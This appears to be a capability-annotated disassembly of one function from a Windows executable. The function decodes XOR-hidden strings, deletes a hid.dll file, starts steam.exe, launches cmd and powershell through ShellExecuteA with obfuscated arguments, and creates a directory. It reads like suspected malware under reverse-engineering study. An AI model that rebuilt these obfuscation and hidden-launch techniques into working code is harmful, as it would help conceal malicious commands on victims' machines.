Function at 0x140060e20
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Encode data using xor
Move file

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x678]
sub rsp, 0x750
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x1400d6040]
xor rax, rsp
mov qword [rbp + 0x620], rax
xor esi, esi
mov qword [0x1400d9e28], rsi
lea rax, [0x1400d9e18]
cmp qword [0x1400d9e30], 0xf
cmova rax, qword [0x1400d9e18]
mov byte [rax], sil
mov dword [rsp + 0x40], 0x73726576
mov dword [rsp + 0x44], 0x6e6f69
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [rsp + 0x40]
mov rbx, 0xffffffffffffffff
mov r8, rbx
inc r8
cmp byte [rax + r8], sil
jne 0x140060eb0
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.14007e720
movdqa xmm1, xmmword [0x1400c6340]
movdqu xmmword [rbp + 0x140], xmm1
mov dword [rbp + 0x150], 0xf4e0d2f7
mov dword [rbp + 0x154], 0xe4e6e1f4
mov byte [rbp + 0x158], 0x8b
movdqa xmm7, xmmword [0x1400c4f70]
movdqa xmm3, xmmword [0x1400c5a80]
movdqa xmmword [rbp + 0x30], xmm3
mov eax, dword [0x1400c4e80]
movd xmm6, eax
paddb xmm6, xmm3
movd eax, xmm1
movd xmm0, eax
movdqa xmm1, xmm6
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
mov eax, dword [0x1400c4e90]
movd xmm1, eax
paddb xmm1, xmm3
movdqa xmmword [rbp + 0x50], xmm1
movd xmm0, dword [rbp + 0x144]
xorps xmm0, xmm1
movd dword [rbp + 0x144], xmm0
mov eax, dword [str._b_t_n_v]
movd xmm2, eax
paddb xmm2, xmm3
movdqa xmmword [rbp - 0x10], xmm2
movd xmm0, dword [rbp + 0x148]
xorps xmm0, xmm2
movd dword [rbp + 0x148], xmm0
mov eax, dword [0x1400c4eb0]
movd xmm2, eax
paddb xmm2, xmm3
movdqa xmmword [rsp + 0x60], xmm2
movd xmm0, dword [rbp + 0x14c]
xorps xmm0, xmm2
movd dword [rbp + 0x14c], xmm0
mov edi, 0x10
mov ecx, edi
lea rdx, [rbp + 0x150]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x18
jb 0x140060fb0
mov byte [rbp + 0x158], sil
lea r8, [0x1400d9e78]
cmp qword [0x1400d9e90], 0xf
cmova r8, qword [0x1400d9e78]
lea rax, [rbp]
mov qword [rsp + 0x30], rax
lea rax, [0x1400c332e]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x140]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x180]
call fcn.140060070
nop
mov dword [rsp + 0x40], 0x13000607
movd xmm1, dword [rsp + 0x40]
movd r12d, xmm6
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
lea rax, [rbp + 0x160]
mov qword [rsp + 0x48], rax
mov dword [rbp - 0x80], 0x67736d
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rsi
mov qword [rbp + 0x178], rsi
lea rax, [rbp - 0x80]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140061064
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x160]
call fcn.14007e720
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp - 0x70]
call fcn.14007c220
nop
lea r8, [rbp + 0x160]
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.14005ea10
mov rcx, rax
lea rdx, [rsp + 0x40]
mov rax, rbx
inc rax
cmp byte [rdx + rax], 0
jne 0x1400610b1
mov r8, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0xf
jbe 0x1400610c8
mov rcx, qword [rcx]
cmp r8, rax
jne 0x1400610e0
lea rdx, [rsp + 0x40]
call fcn.1400b01d0
test eax, eax
jne 0x1400610e0
mov r14b, 1
jmp 0x1400610e3
xor r14b, r14b
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x140061124
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14006111f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637c6
call fcn.140080604
test r14b, r14b
je 0x140063401
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], rax
mov word [rbp - 0x80], 0x2c
movups xmmword [rbp - 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x60], xmm1
lea rax, [rbp - 0x80]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140061160
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
lea rax, [rbp + 0x120]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0x17011517
movd xmm1, dword [rsp + 0x40]
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
mov qword [rbp + 0x130], rsi
mov qword [rbp + 0x138], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400611c5
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.14007e720
nop
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x60]
call fcn.14007c220
nop
lea r8, [rbp + 0x120]
mov rdx, rax
lea rcx, [rbp + 0x88]
call fcn.14005ea10
nop
lea r8, [rbp - 0x70]
mov rdx, rax
lea rcx, [rbp + 0x160]
call fcn.14005ed20
nop
mov rdx, qword [rbp + 0xa0]
cmp rdx, 0xf
jbe 0x14006125e
inc rdx
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061259
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637cc
call fcn.140080604
movdqa xmm0, xmmword [0x1400c4f10]
movdqu xmmword [rbp + 0x98], xmm0
mov byte [rbp + 0x88], 0
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400612b0
inc rdx
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400612ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637d2
call fcn.140080604
mov rax, qword [rbp + 0x168]
mov rdx, qword [rbp + 0x160]
sub rax, rdx
and rax, 0xffffffffffffffe0
cmp rax, 0x80
jne 0x1400612f0
add rdx, 0x60
lea rcx, [0x1400d9e98]
cmp rcx, rdx
je 0x1400612f0
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400612eb
mov rdx, qword [rdx]
call fcn.14007ccc0
lea r9, [0x1400d6e28]
cmp qword [0x1400d6e40], 0xf
cmova r9, qword [0x1400d6e28]
mov dword [rsp + 0x48], 0x685c7325
mov dword [rsp + 0x4c], 0x642e6469
mov word [rsp + 0x50], 0x6c6c
mov byte [rsp + 0x52], 0
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.14004ac80
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
cmp qword [rcx + 0x18], 0xf
jbe 0x14006135d
mov rcx, qword [rcx]
call fcn.1400953f4
mov r14d, 8
movdqa xmm6, xmmword [0x1400c4ff0]
mov r13d, dword [rsp + 0x60]
mov r15d, dword [rbp + 0x30]
cmp dword [rbp + 0x1b4], eax
je 0x140061fe3
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rsp + 0x48], 0x61657473
mov dword [rsp + 0x4c], 0x78652e6d
mov word [rsp + 0x50], 0x65
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rsp + 0x48]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400613c0
lea rdx, [rsp + 0x48]
lea rcx, [rbp - 0x70]
call fcn.14007e720
lea rcx, [rbp - 0x70]
call fcn.14005e4b0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c5d90]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xa4a5c9ca
mov dword [rbp + 0x154], 0xebecfcf4
mov dword [rbp + 0x158], 0xf6e8a2e6
mov word [rbp + 0x15c], 0xb2ea
mov byte [rbp + 0x15e], 0x91
movd eax, xmm0
movd xmm1, eax
movd xmm0, r12d
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm2, dword [rbp + 0x144]
movd xmm0, dword [rbp + 0x50]
xorps xmm2, xmm0
movd dword [rbp + 0x144], xmm2
movd xmm1, dword [rbp + 0x148]
movd xmm0, dword [rbp - 0x10]
xorps xmm1, xmm0
movd dword [rbp + 0x148], xmm1
movd xmm2, dword [rbp + 0x14c]
movd xmm0, r13d
xorps xmm2, xmm0
movd dword [rbp + 0x14c], xmm2
mov ecx, edi
lea rdx, [rbp + 0x150]
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x1e
jb 0x1400614a0
mov byte [rbp + 0x15e], 0
mov dword [rbp - 0x80], 0x646d63
mov dword [rsp + 0x40], 0x1810041c
movd xmm1, r12d
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x140]
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c6370]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400c65e0]
movdqu xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x1400c5ff0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x40], 0xf585cacc
mov dword [rbp - 0x3c], 0xaad9c7d3
mov r9d, esi
mov r10d, r14d
lea r11, [rbp - 0x68]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140061550
cmp r9d, 0x37
jae 0x140061693
mov eax, r9d
lea rcx, [rbp - 0x70]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x37
jb 0x140061680
mov byte [rbp - 0x39], 0
lea r9, [rbp + 0x1e0]
lea r8, [rbp - 0x70]
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.14004ac80
mov dword [rsp + 0x48], 0x65776f70
mov dword [rsp + 0x4c], 0x65687372
mov word [rsp + 0x50], 0x6c6c
mov byte [rsp + 0x52], 0
mov dword [rsp + 0x40], 0x1810041c
movd xmm1, r12d
movd xmm0, dword [rsp + 0x40]
xorps xmm1, xmm0
movd dword [rsp + 0x40], xmm1
mov byte [rsp + 0x44], 0
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x400]
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x40]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
movdqa xmm0, xmmword [0x1400c5ba0]
movdqu xmmword [rsp + 0x48], xmm0
mov ecx, esi
lea rax, [rsp + 0x48]
nop dword [rax]
nop word [rax + rax]
movd xmm1, ecx
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
add ecx, 4
lea rax, [rax + 4]
cmp ecx, 0xc
jb 0x140061740
cmp ecx, 0xf
jae 0x1400617a0
mov eax, ecx
lea rdx, [rsp + 0x48]
add rdx, rax
nop word [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0xf
jb 0x140061790
mov byte [rsp + 0x57], 0
xor r9d, r9d
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x2f0]
call fcn.14004ac80
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x58], rsi
lea rax, [rbp + 0x1e0]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400617e0
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp - 0x70]
call fcn.14007e720
nop
mov dword [rsp + 0x40], 0x69467764
mov word [rsp + 0x44], 0x656c
mov byte [rsp + 0x46], 0
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [rsp + 0x40]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140061826
lea rdx, [rsp + 0x40]
lea rcx, [rbp]
call fcn.14007e720
movdqa xmm0, xmmword [0x1400c6460]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0xf1eac0fb
mov dword [rbp + 0x154], 0xe6e0cee9
mov word [rbp + 0x158], 0x8cee
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x144]
xorps xmm1, xmm0
movd dword [rbp + 0x144], xmm1
movd xmm2, dword [rbp - 0x10]
movd xmm0, dword [rbp + 0x148]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movd xmm1, r13d
movd xmm0, dword [rbp + 0x14c]
xorps xmm1, xmm0
movd dword [rbp + 0x14c], xmm1
mov ecx, edi
lea rdx, [rbp + 0x150]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x19
jb 0x1400618e0
mov byte [rbp + 0x159], 0
lea rdx, [0x1400d9e78]
cmp qword [0x1400d9e90], 0xf
cmova rdx, qword [0x1400d9e78]
lea rax, [rbp - 0x70]
mov qword [rsp + 0x30], rax
lea rax, [rbp]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x2f0]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x140]
call fcn.14005f5e0
test al, al
jne 0x140061c2a
movdqa xmm0, xmmword [0x1400c64f0]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400c5e60]
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x50], 0x93
lea r9, [rbp - 0x68]
nop dword [rax]
nop word [rax + rax]
lea eax, [r14 - 5]
lea ecx, [r14 - 6]
lea edx, [r14 - 7]
lea r8d, [r14 - 8]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 8]
xorps xmm3, xmm0
movd dword [r9 - 8], xmm3
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 - 4]
xorps xmm3, xmm0
movd dword [r9 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r9]
xorps xmm1, xmm0
movd dword [r9], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r9 + 4]
xorps xmm3, xmm0
movd dword [r9 + 4], xmm3
add r14d, 0x10
lea r9, [r9 + 0x10]
lea eax, [r14 - 8]
cmp eax, 0x20
jb 0x140061970
mov byte [rbp - 0x50], 0
movdqa xmm0, xmmword [0x1400c58f0]
movdqu xmmword [rbp + 0x140], xmm0
mov dword [rbp + 0x150], 0x1a60281f
mov dword [rbp + 0x154], 0x3b2d6d37
mov dword [rbp + 0x158], 0xaf283863
mov byte [rbp + 0x15c], 0x8f
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0x140], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rbp + 0x144]
xorps xmm1, xmm0
movd dword [rbp + 0x144], xmm1
movd xmm2, dword [rbp - 0x10]
movd xmm0, dword [rbp + 0x148]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movd xmm1, r13d
movd xmm0, dword [rbp + 0x14c]
xorps xmm1, xmm0
movd dword [rbp + 0x14c], xmm1
lea rcx, [rbp + 0x150]
nop dword [rax]
nop dword [rax + rax]
lea eax, [rdi + 0x73]
xor byte [rcx], al
inc edi
lea rcx, [rcx + 1]
cmp edi, 0x1c
jb 0x140061b50
mov byte [rbp + 0x15c], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp + 0x140]
lea rcx, [rbp - 0x70]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140061b87
mov r8, rbx
lea rcx, [0x1400d9e18]
call fcn.14007ccc0
nop
lea rcx, [rbp + 0x160]
call fcn.14007c610
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140061bee
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637b4
call fcn.140080604
xor al, al
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.14007ff50
lea r11, [rsp + 0x750]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbp + 0x1a0]
lea rcx, [rbp + 0x1e0]
call fcn.140093ea4
mov rcx, qword [rbp + 0x160]
cmp qword [rcx + 0x18], 0xf
jbe 0x140061c4e
mov rcx, qword [rcx]
call fcn.1400953f4
cmp dword [rbp + 0x1b4], eax
je 0x140061fe3
movdqa xmm0, xmmword [0x1400c64f0]
movdqu xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x1400c5e20]
movdqu xmmword [rbp + 0x10], xmm1
mov dword [rbp + 0x20], 0xf7f8f5f7
mov dword [rbp + 0x24], 0xbbfdfdf0
mov byte [rbp + 0x28], 0x9b
mov r9d, esi
mov r10d, r14d
lea r11, [rbp + 8]
nop word [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x28
jb 0x140061ca0
cmp r9d, 0x28
jae 0x140061de3
mov eax, r9d
lea rcx, [rbp]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x28
jb 0x140061dd0
mov byte [rbp + 0x28], 0
movdqa xmm0, xmmword [0x1400c58f0]
movdqu xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x1400c50f0]
movdqu xmmword [rbp - 0x60], xmm1
mov word [rbp - 0x50], 0xb51c
mov byte [rbp - 0x4e], 0x95
mov r9d, esi
lea r10, [rbp - 0x68]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r15d
paddb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x28
jb 0x140061e12
cmp r9d, 0x22
jae 0x140061f53
mov eax, r9d
lea rcx, [rbp - 0x70]
add rcx, rax
nop dword [rax + rax]
lea eax, [r9 + 0x73]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x22
jb 0x140061f40
mov byte [rbp - 0x4e], 0
cmp dword [0x1400d6e48], 1
sete sil
mov dword [0x1400d6d70], esi
lea rdx, [rbp - 0x70]
lea rcx, [rbp]
cmovne rdx, rcx
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140061f74
mov r8, rbx
lea rcx, [0x1400d9e18]
call fcn.14007ccc0
nop
lea rcx, [rbp + 0x160]
call fcn.14007c610
nop
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x140061bee
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140061be9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400637b4
jmp 0x140061be9
lea r9, [0x1400d6e08]
cmp qword [0x1400d6e20], 0xf
cmova r9, qword [0x1400d6e08]
mov dword [rsp + 0x48], 0x25290756
mov dword [rsp + 0x4c], 0x17181d03
mov byte [rsp + 0x50], 0x7b
mov eax, esi
lea rcx, [rsp + 0x48]
nop word [rax + rax]
movd xmm1, eax
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm6
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, r15d
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add eax, 4
lea rcx, [rcx + 4]
cmp eax, 8
jb 0x140062020
mov byte [rsp + 0x50], 0
lea r8, [rsp + 0x48]
mov edx, 0x104
lea rcx, [rbp + 0x1e0]
call fcn.14004ac80
mov edx, 2
lea rcx, [rbp + 0x1e0]
call fcn.1400936b4
test eax, eax
je 0x140062097
xor edx, edx
lea rcx, [rbp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
cmp qword [0x1400d6e20], 0xf
lea r9, [0x1400d6e08]
cmova r9, qword [0x1400d6e08]
movdqa xmm0, xmmword [str.V_a__]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xf0abe5f7
mov word [rsp + 0x74], 0xeee3
mov byte [rsp + 0x76], 0x89
movd xmm1, r12d
movd eax, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movd xmm1, dword [rbp + 0x50]
movd xmm0, dword [rsp + 0x64]
xorps xmm1, xmm0
movd dword [rsp + 0x64], xmm1
movd xmm2, dword [rbp - 0x10]
movd xmm0, dword [rsp + 0x68]
xorps xmm2, xmm0
movd dword [rsp + 0x68], xmm2
movd xmm1, r13d
movd xmm0, dword [rsp + 0x6c]
xorps xmm1, xmm0
movd dword [rsp + 0x6c], xmm1
mov ecx, edi
lea rdx, [rsp + 0x70]
nop dword [rax]
lea eax, [rcx + 0x73]
xor byte [rdx], al
inc ecx
lea rdx, [rdx + 1]
cmp ecx, 0x16
jb 0x140062130
mov byte [rsp + 0x76], 0
